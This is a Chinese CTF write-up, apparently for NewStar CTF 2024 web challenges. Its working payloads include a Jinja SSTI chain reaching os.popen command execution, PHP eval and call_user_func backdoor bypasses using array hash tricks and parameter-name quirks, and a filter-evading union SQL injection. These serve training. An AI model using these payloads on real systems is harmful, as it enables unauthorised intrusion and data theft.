你能在一秒内打出八句英文吗

经典脚本题,思路:先获取页面中需要输入的英文文本,再提交你获得的的文本。

这里推荐模拟 POST 请求,直接来看 EXP:

python

import requests
from bs4 import BeautifulSoup

session = requests.Session()

url = "http://127.0.0.1/start"
response = session.get(url)

if response.status_code == 200:
    soup = BeautifulSoup(response.text, 'html.parser')
    text_element = soup.find('p', id='text')
    if text_element:
        value = text_element.get_text()
        print(f"{value}")
        submit_url = "http://127.0.0.1/submit"
        payload = {'user_input': value}
        post_response = session.post(submit_url, data=payload)
        print(post_response.text)
else:
    print(f"{response.status_code}")

requests 库可以很方便的进行会话控制,BeautifulSoup 可以帮你快速定位文本位置。剩下就是 POST 请求 + 打印回显。

当然,解法很多,你也可以使用 Selenium 等库模拟浏览器操作,又或者装一些浏览器插件凭手速把文本直接复制过去再提交,随你喜欢。

遗失的拉链

拉链的英文是 zip,这里也是考的 www.zip 泄露

可以看到存在 www.zip 泄露,访问后下载、解压得到源代码

pizwww.php 内容如下:

php

<?php
error_reporting(0);
//for fun
if(isset($_GET['new'])&&isset($_POST['star'])){
    if(sha1($_GET['new'])===md5($_POST['star'])&&$_GET['new']!==$_POST['star']){
        //欸 为啥sha1和md5相等呢
        $cmd = $_POST['cmd'];
        if (preg_match("/cat|flag/i", $cmd)) {
            die("u can not do this ");
        }
        echo eval($cmd);
    }else{
        echo "Wrong";

    }
}

PHP 中使用这些函数处理数组的时候会报错返回 NULL 从而完成绕过

命令执行过滤了 cat,使用 tac 代替。flag被过滤,使用 fla* 通配符绕过

HackBar 传参

或者这样:cmd=echo file_get_contents("/fla"."g");

复读机

可以看到,输入什么就输出什么

输入 {{ 7*7 }} 的时候,输出的结果是 49,说明存在 SSTI 注入

输入 {{ [].__class__}},发现 bot 显示不喜欢上课,说明 class 被过滤了,可以使用简单的拼接绕过

python

{{'{'+`{[]['__cl'+'ass__']}`+'}'}}

得到 list 类

简单的 SSTI

后面就是基本的注入方法了

获取 object 类

python

{{()['__cl'+'ass__']['__base__']}}
{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']}}
获取 object 类

找一个可以利用的类,这里选用 os._wrap_close

python

{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__'][132]}}
获取 os._wrap_close

然后就是拿到 eval 方法,命令执行就行

python

{{()['__cl'+'ass__']['__base__']['__subcl'+'asses__']()[132]['__init__']['__globals__']['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
命令执行

PangBai 过家家(2)

题目所给出的提示是文件泄露(其实用 dirsearch 等扫描工具也可以扫描到 .git 目录)。

任务一

使用 GitHacker 工具从 .git 文件夹中泄露文件到本地。

使用githacker

关于 GitHacker

GitHacker 工具可快速使用 pip 安装:

pip install githacker

随后进入 output 文件夹,可以看到恢复的网站源码:

查看恢复的源码

可以使用 git 命令查看当前项目的信息,比如使用 git log 查看提交历史

查看提交历史

使用 git reset HEAD~1 可以回到上一个 Commit,或者直接使用 VSCode 打开泄露出来的 Git 存储库,能够更可视化地查看提交历史。

但是很遗憾,提交历史中并没有有价值的东西。查看 Stash:

git stash list
git stash 输出信息

可以看到 Stash 中含有后门(实际上在 GitHacker 泄漏时就有 stash 的输出信息)

注意

如果使用 GitHack 或其它的一些 Git 泄露获取工具,可能并不支持恢复 Stash.

Stash 的作用

有时会遇到这样的情况,我们正在 dev 分支开发新功能,做到一半时有人过来反馈一个 bug,让马上解决,但是又不方便和现在已经更改的内容混杂在一起,这时就可以使用 git stash 命令先把当前进度保存起来。随后便可以即时处理当前要处理的内容。使用 git stash pop 则可以将之前存储的内容重新恢复到工作区。

又或者,我们已经在一个分支进行了修改,但发现自己修改错了分支,可以通过 Stash 进行存储,然后到其它分支中释放。

一些常见的 Stash 命令如:

  • git stash保存当前工作进度,会把暂存区和工作区的改动保存起来。执行完这个命令后,在运行 git status 命令,就会发现当前是一个干净的工作区,没有任何改动。使用 git stash save '一些信息' 可以添加一些注释。
  • git stash pop [-index] [stash_id]从 Stash 中释放内容,默认为恢复最新的内容到工作区。

使用 git stash pop 恢复后门文件到工作区。

恢复文件

发现了后门文件 BacKd0or.v2d23AOPpDfEW5Ca.php,访问显示:

访问后门文件对应的网址

由于 git stash pop 已经将文件释放了出来,我们可以直接查看后门的源码:

<?php

# Functions to handle HTML output

function print_msg($msg) {
    $content = file_get_contents('index.html');
    $content = preg_replace('/\s*<script.*<\/script>/s', '', $content);
    $content = preg_replace('/ event/', '', $content);
    $content = str_replace('点击此处载入存档', $msg, $content);
    echo $content;
}

function show_backdoor() {
    $content = file_get_contents('index.html');
    $content = str_replace('/assets/index.4f73d116116831ef.js', '/assets/backdoor.5b55c904b31db48d.js', $content);
    echo $content;
}

# Backdoor

if ($_POST['papa'] !== 'TfflxoU0ry7c') {
    show_backdoor();
} else if ($_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])) {
    print_msg('PangBai loves you!');
    call_user_func($_POST['func'], $_POST['args']);
} else {
    print_msg('PangBai hates you!');
}

后面的考点是 PHP 中关于非法参数名传参问题。我们重点关注下面这个表达式:

$_GET['NewStar_CTF.2024'] !== 'Welcome' && preg_match('/^Welcome$/', $_GET['NewStar_CTF.2024'])

对于这个表达式,可以使用换行符绕过。preg_match 默认为单行模式(此时 . 会匹配换行符),但在 PHP 中的该模式下,$ 除了匹配整个字符串的结尾,还能够匹配字符串最后一个换行符。

拓展

如果加 D 修饰符,就不匹配换行符:

preg_match('/^Welcome$/D', "Welcome\n")

但如果直接传参 NewStar_CTF.2024=Welcome%0A 会发现并没有用。这是由 NewStar_CTF.2024 中的特殊字符 . 引起的,PHP 默认会将其解析为 NewStar_CTF_2024. 在 PHP 7 中,可以使用 [ 字符的非正确替换漏洞。当传入的参数名中出现 [ 且之后没有 ] 时,PHP 会将 [ 替换为 _,但此之后就不会继续替换后面的特殊字符了因此,GET 传参 NewStar[CTF.2024=Welcome%0a 即可,随后传入 call_user_func 的参数即可。

获取到 flag

谢谢皮蛋 plus

同样还是联合注入,意在考查空格和 and 的绕过,为了避免直接使用报错注入得到 flag,将报错注入 ban 了

preg_match_all("/ |extractvalue|updataxml|and/i",$id)

值得注意的一个点是,这题是双引号闭合,如果没有细心的检查会误以为是单引号闭合

注意引号的闭合种类

双引号中带有单引号也可以执行成功,属于 MySQL 的一种特性,可以自行尝试一下

双引号中带有单引号也可以执行成功

and 使用 && 替换,空格使用 /**/ 替换,其他就是一样的操作了

查询当前数据库

-1"/**/union/**/select/**/1,database()#

查询所有表名

-1"/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/database()#

查询所有列名

-1"/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'Fl4g'/**/&&/**/table_schema/**/=/**/database()#

得到flag

-1"/**/union/**/select/**/group_concat(des),group_concat(value)/**/from/**/Fl4g#
admin

By admin

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注